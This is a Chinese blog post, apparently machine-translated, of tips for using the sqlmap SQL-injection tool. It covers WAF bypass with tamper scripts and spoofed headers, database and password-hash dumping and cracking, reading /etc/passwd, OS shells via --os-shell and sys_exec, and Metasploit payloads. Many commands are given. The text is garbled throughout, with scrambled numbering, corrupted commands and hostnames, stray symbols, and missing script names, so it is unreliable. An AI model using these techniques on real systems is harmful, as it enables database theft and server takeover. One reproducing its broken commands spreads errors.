Code前端首页关于Code前端联系我们

如何使用开源渗透测试工具sqlmap? 20+经验总结

terry 2年前 (2023-09-26) 阅读数 52 #数据库

SQLmap是一款开源的渗透测试工具,可以自动检测和开发SQL注入漏洞并接管数据库服务器。它拥有强大的发现引擎,并为不同类型的数据库提供各种渗透测试功能选项,允许数据库发现、数据收集、DBMS\操作系统访问,甚至通过带外数据连接执行操作系统命令。以及数据库指纹识别、从数据库检索数据、使用底层文件通过带外连接在操作系统上执行命令等各种切换。

SQLMAP支持的数据库包括:MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等数据库。

Sqlmap用户体验总结

1使用-v参数时,尽量选择级别3,子级别可以显示输入的参数。例如:sqlmap -v3 -u www.potian.com
2知道数据库信息后,使用 -d 直接连接数据库。请注意,-D 指定目标库并且必须提取。
例如: -d mysql://POTIAN : 123123 @127.0.0.1:3306/ SUBSCRIBE
3 使用 Burp 或 WebScarab 保存日志时,可以从日志文件中过滤项目 - 我使用绝对路径足够。
4-g可以使用Google搜索结果,例如直接用uid=搜索,用该参数搜索网站,直接使用sqlmap命令调用Google结果,例如:sqlmap -g inurl:php?uid=。 (附表总结了一些说法)当需要使用-g inurl:php?uid=等参数时,默认是不可用的。通过该参数+外地代理即可访问该功能。当需要检查代理时,使用-cre指定身份信息。当需要使用代理轮询时,从文件中下载代理配置列表。代理查询还可以用于IP地址数量固定的场景。 (由于我国国情,不建议使用)
5如果服务器允许,--method改变默认的http方式,与--data等其他参数一起使用,改为post,然后push数据。
6默认情况下,sqlmap HTTP 请求头中的 User-Agent 值为: sqlmap/*.*-dev-xxxxxxx() 您可以通过 –user-agent 参数指定要使用的 UA。也可以使用 -random- 从文件./txt/中随机获取代理参数。当-level参数设置为3或更高时,它会尝试输入用户代理。另外,UA是一个覆盖waf的参数。 –用户代理= –随机代理。这两个参数可以针对恶意waf。 UA防控被绕过。
7在http请求的标头中设置主机参数并伪造请求中的引用。某些 WAF 和安全产品限制引荐,仅允许来自此站点的引荐。当waf参数限制引用时,可以使用此参数被忽略。当-level参数设置为3或更高时,它会尝试将其他标头信息、XFF等注入到引用中。例如,trust2-045 使用 Content-Type
8HTTP 代理身份验证信息,并且可以自动使用用户名:密码和密钥文件。例如,某些权限使用密钥文件。组 SSO 喜欢这种场景。在这种需要身份验证凭据的情况下,您还可以使用 -I 参数来使用像 burp 这样的代理日志文件来使用凭据
9设置绕过单个 IP 地址使用多少次等要求时要使用的 http 请求间隔每时间单位。它可以与代理和多代理参数一起使用。连接超时后的重试间隔,默认为30秒,可以手动调整。通常-timeout和-retries一起使用
10有些网站会对发送的参数进行编码或加密。目前需要根据某个参数的变化来改变。第二个参数可以构成正常的请求。在这种情况下,您可以使用 –eval 参数根据为每个请求编写的 python 代码来发出修改后的请求。 ? ”
11sqlmap 默认测试所有 GET 和 POST 参数。上面提到,当-level值大于等于2时,还测试HTTP Cookie头的值,当大于等于3时,还测试User-Agent。以及 HTTP Referer 标头的值。目前,您可以使用-p参数手动指定要测试的参数。示例: -p ""id,cookie"" 但如果有一些参数你不想测试,你可以使用--skip="user-agent"。
12数值处理: 参数: –invalid-bignum –invalid-logic 这两个参数更改错误数据和无效数据。例如,默认错误UID=-20,无效大数和逻辑可以通过制定上述参数来制定。例如,uid=999999999、uid=20、a=b
参数:–prefix、–suffix。在输入负载之前或之后添加一些字符,以保证负载正常执行。例如,在句子中添加前缀“”。 ')"" –appendix“”AND('1'='1″”
13–tamper可以在tamper库中搜索相关内容,使用–tamper tamper/*.py方法确定
14说明上面的很多次level是测试参数的影响等级,一共5个,默认值是1,Sqlmap使用的payload如表格所示,你也可以根据相应的格式添加自己的payload,也有一些默认,可修改。
16 当-level值大于等于2时,也测试HTTP Cookie头值,当值大于等于3时,则测试User-Agent和HTTP Referer头值也进行了测试,建议使用最高级别,因为比较慢,测试参数也比较复杂。
15risk 有 0-3 四个风险级别,默认值为 1 Risk1 测试大部分测试语句,risk2 增加基于事件的测试语句,3增加了OR语句添加测试。测试语句也可以使用Found,可以自己添加payload。
警告:当使用drop、update等高级、高风险语句时,可用于影响整个表和整个数据库,可能导致整个表被更新,这可能会造成重大损坏。风险。
16》Sqlmap测试结果取决于返回的内容。当页面更新或更新时,可能会返回不同的内容,特别是页面有动态内容。为避免误报,可以指定一个字符串或正则表达式分隔原始页面和错误页面(--string参数添加字符串,--regexp添加正则表达式),也可以给出原始页面或页面true中不存在且存在于错误页面字符串中的字符串( –添加非字符串)。
用户还可以提供不同的 HTTP 状态代码,分别返回 true 和 false 进行注入。例如回复200时为true,回复401时为false,--code=200。
17默认情况下,sqlmap执行所有六种BEUSTQ注入方法。可以根据实际情况进行调整。例如,您可以使用时间延迟并查看网站的响应时间来确定是否存在注入。您可以根据错误报告评估注入。如果您不太理解,请不要担心。虽然时间比较长,但是很全面。
B:基于布尔的盲 SQL 注入(布尔注入)
E:基于错误的 SQL 注入(错误报告注入)
U:UNION 查询 SQL 注入(联合查询插入) S:❀ 堆叠查询SQL 注入(多个查询插入)
T:基于时间的盲 SQL 注入(延时插入)
K:内部 SQL 注入(内联注入)
当使用基于时间的延迟盲注入时,始终使用-time-sec参数设置延迟时间。默认值为 5 秒。可以根据环境进行调整。例如,如果网络延迟很高,可以适当延长延迟时间
18 –union-cols 设置 指定值为整数范围。指定间隔。该值默认为1-10。当-level增加时,增加到50,当为5时。当level级别与取值范围不匹配时,低级别需求较高。该范围可以通过设置 -union 列的值来实现。设置要在联合查询中使用的标记。默认使用NULL,但可能会返回错误。 –union-char 指定 UNION 查询字符。定义查询表并详细使用上面提到的标记、范围等来暴力破解。
19注入成功并获得准确信息后,指定搜索、枚举函数和函数执行对象,详细参数如下:检索DBMS指纹属性、数据库、主机值、用户身份并检查用户、密码、访问权限和角色 列表正在爆炸式增长。然后尝试枚举数据库、数据库表、数据库内容并可以使用count来统计条目数等操作。“脱掉”和“全部脱掉”是脱掉裤子和完全脱掉的区别。如果你在一个给定的时钟上扔下八个或十个物品,那可能没问题,但倾倒所有的东西意味着环游世界,这就是你所说的脱裤子逃跑的开始。跳过 -D\- T\-C 指定要列出的库、表和列,然后按 -X 排除不需要的列。特别是当有很多列和不相关的字段时,使用-X可以节省大量时间。 –exclude-sysdbs参数不检索数据库自带的系统库内容,可以减少干扰内容。建议使用 -count 和带有此参数的枚举来排除系统库。
当我们不想转义时,可以使用:
–start=LIMITSTART 要获取的查询的第一个起点决定从哪一行开始打印,如:
–start=1
–stop=LIMITSTOP
最后获取的查询输出
指定停止打印的行
–stop=10
查询※条目 –CH❙❙RS❀ 第一个字获取
指定输出开始的字符 检查:猜测并检查可以使用以下两个文件自定义的通用表和列名称。暴力破解表在文件txt/中,列名为暴力破解格式txt/
21 文件系统和操作系统交互和使用需要相应的访问权限。如前所述,执行这些功能需要特殊权限,通常需要root用户。文件系统读写:为-file-read指定一个绝对系统路径来读取相应的文件内容,可以是文本或二进制。条件是你必须拥有相应的权利。著名的有 mysql、postgresql 和 sqlserver。 。写作也是如此。如果要将本地文件写入远程后端DBMS,可以通过-file-dest指定绝对文件路径。当然,当数据库是MySQL、PostgreSQL或Microsoft SQL Server并且当前用户有使用某些功能的权限时,可以与上述一起使用。然后通过上面的文件系统管理器加载库,使用sys_exec()和sys_eval()执行系统命令,甚至xp_cmdshell存储过程-os-shell参数都可以模拟真实的shell,编写可执行命令。 Meterpreter 与 –os-pwn、–os-smbrelay、–os-bof、–priv-esc、–msf-path、–tmp-path 一起使用。当前用户有权使用某些功能,并且可以攻击数据库。或者直接建立TCP连接。此连接可以是交互式命令行 Meterpreter 会话。 sqlmap基于Metasploit生成shell代码。有四种运行方式:
1. 通过用户定义的 sys_bineval() 函数 Shellcode 在内存中运行 Metasplit,支持 MySQL 和 PostgreSQL 数据库,参数:-os-pwn。
2. 通过用户定义函数、MySQL 和 PostgreSQL 的 sys_exec() 函数、Microsoft SQL Server 的 xp_cmdshell() 函数加载独立的 Payload 执行,参数:–os-pwn。
3. 通过 SMB 攻击执行 Metasploit shellcode (MS08-068)。当sqlmap获取的权限足够高时(Linux/Unix下uid=0,Windows下Administrator),-os-smbrelay。
4. 通过执行 Microsoft SQL Server 2000 和 2005 sp_replwritetovarb 存储过程 (MS09-004) 来执行内存中的 Metasploit 负载。参数:-os-bof。
22所见即所得。注册表连接是指Windows系统。我想每个人都对windows系统有所了解。如果你不懂注册表,你基本上就不懂Windows。 Windows系统的所有配置都可以在注册表中实现,比如打开远程连接,比如创建新用户,比如组策略设置,比如防火墙等。reg可以读取、修改和删除注册表的内容。上面和下面可以组合起来实现指定的key、value、data和type。执行操作。
23–batch
使用sqlmap时,某些响应有时需要用户操作,键入Y、N、跳过、退出等。使用此选项可以使用默认设置。 ?使用前面的 -g 参数时,请使用此参数
–identify-waf
指定页面以进行 WAF/IPS/IDS 保护。目前支持识别约30种产品
–mobile
移动产品UA将sqlmap伪装成手机。您还可以使用之前的
-user-agent
配置
–smart
进行智能深度启发式扫描。可能会有惊喜。
–向导与上面的完全不同。对于初学者来说这是一个纯粹的选择。它允许您逐步输入 URL 等参数。基本上只需使用 URL 即可。 ? 1
构建url2:024+AND+1=1 025
2基本识别语法sqlmap.py -u 024
3l❙p。下面的话与sqlmap在同一目录下。
4绕过WAF进行SQL注入 (1) 修改\sqlmap\tamper\ return match.group().replace(word, ”/*!0%s” % word) 为:return match.group() ) .replace(word, ”/*!50000%s*/” % word)
(2) 编辑 \sqlmap\xml\queries.xml 为:
(3) 使用sqlmap进行注入测试 sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ – tamper ""
其他 overridewaf 脚本方法: "024" – tampertamper/, tamper/, tamper/ -v 3
(4) tamper 目录下文件的特殊含义:使用 /** / 代替空格

用 utf8 替换引号

替换等于

跳过过滤 '=' 替换空格 ("")、('-'),后跟破折号、随机字符串和换行符 ('n')

跳过过滤器“>”,将大于字符替换为GREATEST

将空格替换为#字符、随机字符串和换行符

忽略过滤字符和引号,将引号替换为双引号。

绕过防火墙 当数据库为MySQL时,在每个关键字

前添加MySQL版本注释

放置空格#号
并添加随机字符串。零字节字符编码

跳过 IFNULL 过滤,将类似的 IFNULL(A,B) 替换为 IF(ISNULL(A), B, A) (mssql) 将空格替换为其他空符号

base64 编码进行替换空格

过滤空格,包括完整查询版本注释

用于替换其他空格的空格 (mysql)

替换空格

字符 (") ('-') 后跟破折号注释换行符 ('n')

在 SQL 关键字周围添加多个空格

将空格替换为 +

将空格替换为带有随机空格的有效 A SQL 表达式,然后将 = 替换为非递归替换.py

双重查询语句,替换 SQL-关键字

带有随机空格 (""),从随机空格到有效的可选字符 设置

将 sp_password' 附加到负载末尾,以便从 DBMS 日志中进行自动混淆

双 url 编码(不处理编码)

联合选择ON。 py
URL 编码

随机大小写

宽字符跳过
GPCaddslashes randomcomments.py
拆分 sql 关键字编码 /**/❙

附加特殊格式的字符串

评论覆盖
将空格字符串('')替换为注释'/**/'

在关键字前添加注释

5URL重写SQL注入测试value1为测试参数,添加“*”,sqlmap测试是否为value添加 1 个位置。 sqlmap.py -u ” */param2/value2/”
6列出并破解密码哈希值当前用户有权限读取包含密码的用户。输入密码后,sqlmap 将列出用户,然后列出哈希值并尝试破解它们。sqlmap.py -u ” ” –passwords -v1
7获取表中数据条数sqlmap.py -u ” ” –count -Dtestdb
8网站抓取
8网站抓取
11 “ –batch –crawl =3
9添加时间估计(基于布尔值)sqlmap.py -u “/sqlmap/oracle/get_int_bool.php?id=1”-b –eta
10 使用十六进制避免字符编码导致数据丢失sqlmap.py -u “/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors
11模拟测试移动环境站点sqlmatphon。 py -u ” /vuln.php?id=1 ” –mobile
12智能评估测试sqlmap.py -u “/info.php?id=1” –batch –smart
13与burpsuite一起注入sqlmap.py -r burpsuite 包 capture.txt
14sqlmap 自动填充表单添加 sqlmap.py -u URL -forms sqlmap.py -u URL -forms -qldmap URL -forms -current-db sqlmap. py -u URL 形式 -D 数据库名称 -tables sqlmap.py -u URL 形式 -D 数据库名称 -T 表名称 -columns sqlmap.py -u URL 形式 -D 数据库名称 –T 表名称 -用户名、密码转储
15在Linux中读取文件“url”文件/etc/password
16sqlmap cookies注入sqlmap“”024 -“ oklmap.py。 ssuid= *″ –dbs –level 3 sqlmap.py -u 注入点url –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx” –level 3 –tables(猜测表名) sqlmap.py -u url –cookie “id=xx” –level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx” –level 3 -T 表名 –C 用户名、密码 – dump
17合并mysql数据,打开交互式shellsqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir;
18Utilization sqlmap 将 lib_mysqludf_sys 加载到 MySQL 插件目录sqlmap.py -dmysql://potian:123123@www.potianp6.fi:-330prite.fi:-330prite.fi: /tmp / --file-dest=d:\\ \\bin\\mysql\\lib\\plugin\\ CREATE FUNCTION sys_exec RETURNS STRINGSONAME '' CREATE FUNCTION sys_eval RETURNS STRINGSONAME '' select sys_eval('ver');
19运行shell命令sqlmap.py -u “url” –os-cmd="netuser" /*运行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互shell * /
20延迟添加 sqlmap –dbs -u”url” –delay /* 延迟秒数*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/❀

版权声明

本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

热门